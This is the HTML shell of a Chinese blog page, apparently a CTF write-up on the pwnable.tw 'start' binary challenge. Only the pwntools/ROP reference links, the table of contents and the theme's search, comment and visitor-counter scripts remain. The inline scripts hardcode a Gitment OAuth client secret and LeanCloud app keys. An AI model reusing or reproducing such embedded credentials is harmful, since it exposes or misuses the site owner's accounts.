<p><strong>pwntools使用</strong><br><a href="http://brieflyx.me/2015/python-module/pwntools-intro/" target="_blank" rel="noopener">http://brieflyx.me/2015/python-module/pwntools-intro/</a><br><a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/" target="_blank" rel="noopener">https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/</a><br><a href="https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/" target="_blank" rel="noopener">https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/</a></p>
|
|||
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|
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|
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</div>
|
|||
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|
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<div>您的支持将鼓励我继续创作！</div>
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<button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
|
|||
|
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<span>打赏</span>
|
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|
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</button>
|
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<div id="QR" style="display: none;">
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<div id="wechat" style="display: inline-block">
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<p>微信支付</p>
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<a href="/tags/二进制/" rel="tag"># 二进制</a>
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<a href="/tags/Linux/" rel="tag"># Linux</a>
|
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<a href="/tags/CTF/" rel="tag"># CTF</a>
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<p class="site-author-name" itemprop="name">Cool-Y</p>
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<p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
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|
|
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="450" src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=430"></iframe>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</section>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<!--noindex-->
|
|||
|
|
<section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
|
|||
|
|
<div class="post-toc">
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#Pwnable-tw-start"><span class="nav-text">Pwnable.tw start</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#0x01-检查保护情况"><span class="nav-text">0x01 检查保护情况</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x02-漏洞分析"><span class="nav-text">0x02 漏洞分析</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#INT-80h-系统调用方法"><span class="nav-text">INT 80h 系统调用方法</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#栈变化情况"><span class="nav-text">栈变化情况</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x03-漏洞利用"><span class="nav-text">0x03 漏洞利用</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#利用思路"><span class="nav-text">利用思路</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Catch-THE-FLAG"><span class="nav-text">Catch THE FLAG</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#REF"><span class="nav-text">REF</span></a></li></ol></li></ol></div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</section>
|
|||
|
|
<!--/noindex-->
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</aside>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</main>
|
|||
|
|
|
|||
|
|
<footer id="footer" class="footer">
|
|||
|
|
<div class="footer-inner">
|
|||
|
|
<div class="copyright">© <span itemprop="copyrightYear">2019</span>
|
|||
|
|
<span class="with-love">
|
|||
|
|
<i class="fa fa-user"></i>
|
|||
|
|
</span>
|
|||
|
|
<span class="author" itemprop="copyrightHolder">Cool-Y</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="post-meta-divider">|</span>
|
|||
|
|
<span class="post-meta-item-icon">
|
|||
|
|
<i class="fa fa-area-chart"></i>
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
<span title="Site words total count">67.4k</span>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="busuanzi-count">
|
|||
|
|
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="site-uv">
|
|||
|
|
<i class="fa fa-user"></i>
|
|||
|
|
<span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="site-pv">
|
|||
|
|
<i class="fa fa-eye"></i>
|
|||
|
|
<span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</footer>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="back-to-top">
|
|||
|
|
<i class="fa fa-arrow-up"></i>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript">
|
|||
|
|
if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
|
|||
|
|
window.Promise = null;
|
|||
|
|
}
|
|||
|
|
</script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
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|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
|
|||
|
|
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<!-- LOCAL: You can save these files to your site and update links -->
|
|||
|
|
|
|||
|
|
|
|||
|
|
<link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
|
|||
|
|
<script src="https://jjeejj.github.io/js/gitment.js"></script>
|
|||
|
|
|
|||
|
|
<!-- END LOCAL -->
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript">
|
|||
|
|
function renderGitment(){
|
|||
|
|
var gitment = new Gitment({
|
|||
|
|
id: window.location.pathname,
|
|||
|
|
owner: 'Cool-Y',
|
|||
|
|
repo: 'gitment-comments',
|
|||
|
|
|
|||
|
|
oauth: {
|
|||
|
|
|
|||
|
|
|
|||
|
|
client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
|
|||
|
|
|
|||
|
|
client_id: '180955a2c3ae3d966d9a'
|
|||
|
|
}});
|
|||
|
|
gitment.render('gitment-container');
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|
|||
|
|
renderGitment();
|
|||
|
|
|
|||
|
|
</script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript">
|
|||
|
|
// Popup Window;
|
|||
|
|
var isfetched = false;
|
|||
|
|
var isXml = true;
|
|||
|
|
// Search DB path;
|
|||
|
|
var search_path = "search.xml";
|
|||
|
|
if (search_path.length === 0) {
|
|||
|
|
search_path = "search.xml";
|
|||
|
|
} else if (/json$/i.test(search_path)) {
|
|||
|
|
isXml = false;
|
|||
|
|
}
|
|||
|
|
var path = "/" + search_path;
|
|||
|
|
// monitor main search box;
|
|||
|
|
|
|||
|
|
var onPopupClose = function (e) {
|
|||
|
|
$('.popup').hide();
|
|||
|
|
$('#local-search-input').val('');
|
|||
|
|
$('.search-result-list').remove();
|
|||
|
|
$('#no-result').remove();
|
|||
|
|
$(".local-search-pop-overlay").remove();
|
|||
|
|
$('body').css('overflow', '');
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
function proceedsearch() {
|
|||
|
|
$("body")
|
|||
|
|
.append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
|
|||
|
|
.css('overflow', 'hidden');
|
|||
|
|
$('.search-popup-overlay').click(onPopupClose);
|
|||
|
|
$('.popup').toggle();
|
|||
|
|
var $localSearchInput = $('#local-search-input');
|
|||
|
|
$localSearchInput.attr("autocapitalize", "none");
|
|||
|
|
$localSearchInput.attr("autocorrect", "off");
|
|||
|
|
$localSearchInput.focus();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// search function;
|
|||
|
|
var searchFunc = function(path, search_id, content_id) {
|
|||
|
|
'use strict';
|
|||
|
|
|
|||
|
|
// start loading animation
|
|||
|
|
$("body")
|
|||
|
|
.append('<div class="search-popup-overlay local-search-pop-overlay">' +
|
|||
|
|
'<div id="search-loading-icon">' +
|
|||
|
|
'<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
|
|||
|
|
'</div>' +
|
|||
|
|
'</div>')
|
|||
|
|
.css('overflow', 'hidden');
|
|||
|
|
$("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
|
|||
|
|
|
|||
|
|
$.ajax({
|
|||
|
|
url: path,
|
|||
|
|
dataType: isXml ? "xml" : "json",
|
|||
|
|
async: true,
|
|||
|
|
success: function(res) {
|
|||
|
|
// get the contents from search data
|
|||
|
|
isfetched = true;
|
|||
|
|
$('.popup').detach().appendTo('.header-inner');
|
|||
|
|
var datas = isXml ? $("entry", res).map(function() {
|
|||
|
|
return {
|
|||
|
|
title: $("title", this).text(),
|
|||
|
|
content: $("content",this).text(),
|
|||
|
|
url: $("url" , this).text()
|
|||
|
|
};
|
|||
|
|
}).get() : res;
|
|||
|
|
var input = document.getElementById(search_id);
|
|||
|
|
var resultContent = document.getElementById(content_id);
|
|||
|
|
var inputEventFunction = function() {
|
|||
|
|
var searchText = input.value.trim().toLowerCase();
|
|||
|
|
var keywords = searchText.split(/[\s\-]+/);
|
|||
|
|
if (keywords.length > 1) {
|
|||
|
|
keywords.push(searchText);
|
|||
|
|
}
|
|||
|
|
var resultItems = [];
|
|||
|
|
if (searchText.length > 0) {
|
|||
|
|
// perform local searching
|
|||
|
|
datas.forEach(function(data) {
|
|||
|
|
var isMatch = false;
|
|||
|
|
var hitCount = 0;
|
|||
|
|
var searchTextCount = 0;
|
|||
|
|
var title = data.title.trim();
|
|||
|
|
var titleInLowerCase = title.toLowerCase();
|
|||
|
|
var content = data.content.trim().replace(/<[^>]+>/g,"");
|
|||
|
|
var contentInLowerCase = content.toLowerCase();
|
|||
|
|
var articleUrl = decodeURIComponent(data.url);
|
|||
|
|
var indexOfTitle = [];
|
|||
|
|
var indexOfContent = [];
|
|||
|
|
// only match articles with not empty titles
|
|||
|
|
if(title != '') {
|
|||
|
|
keywords.forEach(function(keyword) {
|
|||
|
|
function getIndexByWord(word, text, caseSensitive) {
|
|||
|
|
var wordLen = word.length;
|
|||
|
|
if (wordLen === 0) {
|
|||
|
|
return [];
|
|||
|
|
}
|
|||
|
|
var startPosition = 0, position = [], index = [];
|
|||
|
|
if (!caseSensitive) {
|
|||
|
|
text = text.toLowerCase();
|
|||
|
|
word = word.toLowerCase();
|
|||
|
|
}
|
|||
|
|
while ((position = text.indexOf(word, startPosition)) > -1) {
|
|||
|
|
index.push({position: position, word: word});
|
|||
|
|
startPosition = position + wordLen;
|
|||
|
|
}
|
|||
|
|
return index;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
|
|||
|
|
indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
|
|||
|
|
});
|
|||
|
|
if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
|
|||
|
|
isMatch = true;
|
|||
|
|
hitCount = indexOfTitle.length + indexOfContent.length;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// show search results
|
|||
|
|
|
|||
|
|
if (isMatch) {
|
|||
|
|
// sort index by position of keyword
|
|||
|
|
|
|||
|
|
[indexOfTitle, indexOfContent].forEach(function (index) {
|
|||
|
|
index.sort(function (itemLeft, itemRight) {
|
|||
|
|
if (itemRight.position !== itemLeft.position) {
|
|||
|
|
return itemRight.position - itemLeft.position;
|
|||
|
|
} else {
|
|||
|
|
return itemLeft.word.length - itemRight.word.length;
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
// merge hits into slices
|
|||
|
|
|
|||
|
|
function mergeIntoSlice(text, start, end, index) {
|
|||
|
|
var item = index[index.length - 1];
|
|||
|
|
var position = item.position;
|
|||
|
|
var word = item.word;
|
|||
|
|
var hits = [];
|
|||
|
|
var searchTextCountInSlice = 0;
|
|||
|
|
while (position + word.length <= end && index.length != 0) {
|
|||
|
|
if (word === searchText) {
|
|||
|
|
searchTextCountInSlice++;
|
|||
|
|
}
|
|||
|
|
hits.push({position: position, length: word.length});
|
|||
|
|
var wordEnd = position + word.length;
|
|||
|
|
|
|||
|
|
// move to next position of hit
|
|||
|
|
|
|||
|
|
index.pop();
|
|||
|
|
while (index.length != 0) {
|
|||
|
|
item = index[index.length - 1];
|
|||
|
|
position = item.position;
|
|||
|
|
word = item.word;
|
|||
|
|
if (wordEnd > position) {
|
|||
|
|
index.pop();
|
|||
|
|
} else {
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
searchTextCount += searchTextCountInSlice;
|
|||
|
|
return {
|
|||
|
|
hits: hits,
|
|||
|
|
start: start,
|
|||
|
|
end: end,
|
|||
|
|
searchTextCount: searchTextCountInSlice
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
var slicesOfTitle = [];
|
|||
|
|
if (indexOfTitle.length != 0) {
|
|||
|
|
slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
var slicesOfContent = [];
|
|||
|
|
while (indexOfContent.length != 0) {
|
|||
|
|
var item = indexOfContent[indexOfContent.length - 1];
|
|||
|
|
var position = item.position;
|
|||
|
|
var word = item.word;
|
|||
|
|
// cut out 100 characters
|
|||
|
|
var start = position - 20;
|
|||
|
|
var end = position + 80;
|
|||
|
|
if(start < 0){
|
|||
|
|
start = 0;
|
|||
|
|
}
|
|||
|
|
if (end < position + word.length) {
|
|||
|
|
end = position + word.length;
|
|||
|
|
}
|
|||
|
|
if(end > content.length){
|
|||
|
|
end = content.length;
|
|||
|
|
}
|
|||
|
|
slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// sort slices in content by search text's count and hits' count
|
|||
|
|
|
|||
|
|
slicesOfContent.sort(function (sliceLeft, sliceRight) {
|
|||
|
|
if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
|
|||
|
|
return sliceRight.searchTextCount - sliceLeft.searchTextCount;
|
|||
|
|
} else if (sliceLeft.hits.length !== sliceRight.hits.length) {
|
|||
|
|
return sliceRight.hits.length - sliceLeft.hits.length;
|
|||
|
|
} else {
|
|||
|
|
return sliceLeft.start - sliceRight.start;
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
// select top N slices in content
|
|||
|
|
|
|||
|
|
var upperBound = parseInt('1');
|
|||
|
|
if (upperBound >= 0) {
|
|||
|
|
slicesOfContent = slicesOfContent.slice(0, upperBound);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// highlight title and content
|
|||
|
|
|
|||
|
|
function highlightKeyword(text, slice) {
|
|||
|
|
var result = '';
|
|||
|
|
var prevEnd = slice.start;
|
|||
|
|
slice.hits.forEach(function (hit) {
|
|||
|
|
result += text.substring(prevEnd, hit.position);
|
|||
|
|
var end = hit.position + hit.length;
|
|||
|
|
result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
|
|||
|
|
prevEnd = end;
|
|||
|
|
});
|
|||
|
|
result += text.substring(prevEnd, slice.end);
|
|||
|
|
return result;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
var resultItem = '';
|
|||
|
|
|
|||
|
|
if (slicesOfTitle.length != 0) {
|
|||
|
|
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
|
|||
|
|
} else {
|
|||
|
|
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
slicesOfContent.forEach(function (slice) {
|
|||
|
|
resultItem += "<a href='" + articleUrl + "'>" +
|
|||
|
|
"<p class=\"search-result\">" + highlightKeyword(content, slice) +
|
|||
|
|
"...</p>" + "</a>";
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
resultItem += "</li>";
|
|||
|
|
resultItems.push({
|
|||
|
|
item: resultItem,
|
|||
|
|
searchTextCount: searchTextCount,
|
|||
|
|
hitCount: hitCount,
|
|||
|
|
id: resultItems.length
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
};
|
|||
|
|
if (keywords.length === 1 && keywords[0] === "") {
|
|||
|
|
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
|
|||
|
|
} else if (resultItems.length === 0) {
|
|||
|
|
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
|
|||
|
|
} else {
|
|||
|
|
resultItems.sort(function (resultLeft, resultRight) {
|
|||
|
|
if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
|
|||
|
|
return resultRight.searchTextCount - resultLeft.searchTextCount;
|
|||
|
|
} else if (resultLeft.hitCount !== resultRight.hitCount) {
|
|||
|
|
return resultRight.hitCount - resultLeft.hitCount;
|
|||
|
|
} else {
|
|||
|
|
return resultRight.id - resultLeft.id;
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
var searchResultList = '<ul class=\"search-result-list\">';
|
|||
|
|
resultItems.forEach(function (result) {
|
|||
|
|
searchResultList += result.item;
|
|||
|
|
})
|
|||
|
|
searchResultList += "</ul>";
|
|||
|
|
resultContent.innerHTML = searchResultList;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if ('auto' === 'auto') {
|
|||
|
|
input.addEventListener('input', inputEventFunction);
|
|||
|
|
} else {
|
|||
|
|
$('.search-icon').click(inputEventFunction);
|
|||
|
|
input.addEventListener('keypress', function (event) {
|
|||
|
|
if (event.keyCode === 13) {
|
|||
|
|
inputEventFunction();
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// remove loading animation
|
|||
|
|
$(".local-search-pop-overlay").remove();
|
|||
|
|
$('body').css('overflow', '');
|
|||
|
|
|
|||
|
|
proceedsearch();
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// handle and trigger popup window;
|
|||
|
|
$('.popup-trigger').click(function(e) {
|
|||
|
|
e.stopPropagation();
|
|||
|
|
if (isfetched === false) {
|
|||
|
|
searchFunc(path, 'local-search-input', 'local-search-result');
|
|||
|
|
} else {
|
|||
|
|
proceedsearch();
|
|||
|
|
};
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
$('.popup-btn-close').click(onPopupClose);
|
|||
|
|
$('.popup').click(function(e){
|
|||
|
|
e.stopPropagation();
|
|||
|
|
});
|
|||
|
|
$(document).on('keyup', function (event) {
|
|||
|
|
var shouldDismissSearchPopup = event.which === 27 &&
|
|||
|
|
$('.search-popup').is(':visible');
|
|||
|
|
if (shouldDismissSearchPopup) {
|
|||
|
|
onPopupClose();
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
</script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
|
|||
|
|
<script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
|
|||
|
|
<script>
|
|||
|
|
function showTime(Counter) {
|
|||
|
|
var query = new AV.Query(Counter);
|
|||
|
|
var entries = [];
|
|||
|
|
var $visitors = $(".leancloud_visitors");
|
|||
|
|
|
|||
|
|
$visitors.each(function () {
|
|||
|
|
entries.push( $(this).attr("id").trim() );
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
query.containedIn('url', entries);
|
|||
|
|
query.find()
|
|||
|
|
.done(function (results) {
|
|||
|
|
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
|
|||
|
|
|
|||
|
|
if (results.length === 0) {
|
|||
|
|
$visitors.find(COUNT_CONTAINER_REF).text(0);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
for (var i = 0; i < results.length; i++) {
|
|||
|
|
var item = results[i];
|
|||
|
|
var url = item.get('url');
|
|||
|
|
var time = item.get('time');
|
|||
|
|
var element = document.getElementById(url);
|
|||
|
|
|
|||
|
|
$(element).find(COUNT_CONTAINER_REF).text(time);
|
|||
|
|
}
|
|||
|
|
for(var i = 0; i < entries.length; i++) {
|
|||
|
|
var url = entries[i];
|
|||
|
|
var element = document.getElementById(url);
|
|||
|
|
var countSpan = $(element).find(COUNT_CONTAINER_REF);
|
|||
|
|
if( countSpan.text() == '') {
|
|||
|
|
countSpan.text(0);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
.fail(function (object, error) {
|
|||
|
|
console.log("Error: " + error.code + " " + error.message);
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
function addCount(Counter) {
|
|||
|
|
var $visitors = $(".leancloud_visitors");
|
|||
|
|
var url = $visitors.attr('id').trim();
|
|||
|
|
var title = $visitors.attr('data-flag-title').trim();
|
|||
|
|
var query = new AV.Query(Counter);
|
|||
|
|
|
|||
|
|
query.equalTo("url", url);
|
|||
|
|
query.find({
|
|||
|
|
success: function(results) {
|
|||
|
|
if (results.length > 0) {
|
|||
|
|
var counter = results[0];
|
|||
|
|
counter.fetchWhenSave(true);
|
|||
|
|
counter.increment("time");
|
|||
|
|
counter.save(null, {
|
|||
|
|
success: function(counter) {
|
|||
|
|
var $element = $(document.getElementById(url));
|
|||
|
|
$element.find('.leancloud-visitors-count').text(counter.get('time'));
|
|||
|
|
},
|
|||
|
|
error: function(counter, error) {
|
|||
|
|
console.log('Failed to save Visitor num, with error message: ' + error.message);
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
} else {
|
|||
|
|
var newcounter = new Counter();
|
|||
|
|
/* Set ACL */
|
|||
|
|
var acl = new AV.ACL();
|
|||
|
|
acl.setPublicReadAccess(true);
|
|||
|
|
acl.setPublicWriteAccess(true);
|
|||
|
|
newcounter.setACL(acl);
|
|||
|
|
/* End Set ACL */
|
|||
|
|
newcounter.set("title", title);
|
|||
|
|
newcounter.set("url", url);
|
|||
|
|
newcounter.set("time", 1);
|
|||
|
|
newcounter.save(null, {
|
|||
|
|
success: function(newcounter) {
|
|||
|
|
var $element = $(document.getElementById(url));
|
|||
|
|
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
|
|||
|
|
},
|
|||
|
|
error: function(newcounter, error) {
|
|||
|
|
console.log('Failed to create');
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
},
|
|||
|
|
error: function(error) {
|
|||
|
|
console.log('Error:' + error.code + " " + error.message);
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
$(function() {
|
|||
|
|
var Counter = AV.Object.extend("Counter");
|
|||
|
|
if ($('.leancloud_visitors').length == 1) {
|
|||
|
|
addCount(Counter);
|
|||
|
|
} else if ($('.post-title-link').length > 1) {
|
|||
|
|
showTime(Counter);
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
</script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script>
|
|||
|
|
(function(){
|
|||
|
|
var bp = document.createElement('script');
|
|||
|
|
var curProtocol = window.location.protocol.split(':')[0];
|
|||
|
|
if (curProtocol === 'https') {
|
|||
|
|
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
|
|||
|
|
}
|
|||
|
|
else {
|
|||
|
|
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
|
|||
|
|
}
|
|||
|
|
var s = document.getElementsByTagName("script")[0];
|
|||
|
|
s.parentNode.insertBefore(bp, s);
|
|||
|
|
})();
|
|||
|
|
</script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</body>
|
|||
|
|
</html>
|